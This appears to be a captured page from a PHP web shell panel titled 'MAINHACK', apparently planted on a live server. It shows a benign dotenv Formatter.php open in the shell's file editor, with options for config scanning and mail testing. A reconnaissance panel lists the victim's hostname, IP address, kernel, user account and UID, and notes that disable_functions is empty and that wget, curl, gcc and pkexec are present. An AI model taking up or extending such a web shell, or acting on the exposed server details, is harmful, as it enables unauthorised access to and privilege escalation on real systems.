[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Formatter.php
<?php namespace Jackiedo\DotenvEditor\Workers\Formatters; use Jackiedo\DotenvEditor\Contracts\FormatterInterface; use Jackiedo\DotenvEditor\Exceptions\InvalidKeyException; /** * The .env formatter. * * @package Jackiedo\DotenvEditor * * @author Jackie Do <anhvudo@gmail.com> */ class Formatter implements FormatterInterface { /** * Formatting the key of setter to writing. * * @param string $key * @param bool $export optional * * @return string */ public function formatKey(string $key, bool $export = false) { $key = trim(str_replace(['export ', '\'', '"'], '', (string) $key)); if (!self::isValidKey($key)) { throw new InvalidKeyException(sprintf('There is an invalid setter key. Caught at [%s].', $key)); } if ($export) { $key = 'export ' . $key; } return $key; } /** * Formatting the comment to writing. * * @param ?string $comment * * @return string */ public function formatComment(?string $comment) { $comment = rtrim(ltrim((string) $comment, '# '), ' '); $comment = preg_replace('/(\r\n|\n|\r)/', ' ', $comment); return (strlen($comment) > 0) ? "# {$comment}" : ''; } /** * Build an setter from the individual components for writing. * * @param string $key * @param null|string $value optional * @param null|string $comment optional * @param bool $export optional * * @return string */ public function formatSetter(string $key, ?string $value = null, ?string $comment = null, bool $export = false) { $key = $this->formatKey($key, $export); $value = $this->formatValue($value, $this->formatComment($comment)); return "{$key}={$value}"; } /** * Formatting the value of setter to writing. * * @param string $value optional * @param null|string $comment optional * * @return string */ protected function formatValue(?string $value, ?string $comment = null) { $value = (string) $value; $comment = (string) $comment; $hasComment = strlen($comment) > 0; $forceQuotes = $hasComment && (0 == strlen($value)); if ($forceQuotes || 1 === preg_match('/[#\s"\'\\\\]|\$\{[a-zA-Z0-9_.]+\}|\\\\n/', $value)) { $value = str_replace('\\', '\\\\', $value); $value = str_replace('"', '\"', $value); $value = "\"{$value}\""; } return $value . ($hasComment ? " {$comment}" : ''); } /** * Determine if the input string is valid key. * * @param string $key * * @return bool */ protected function isValidKey(string $key) { return 1 === preg_match('/\A[a-zA-Z0-9_.]+\z/', $key); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002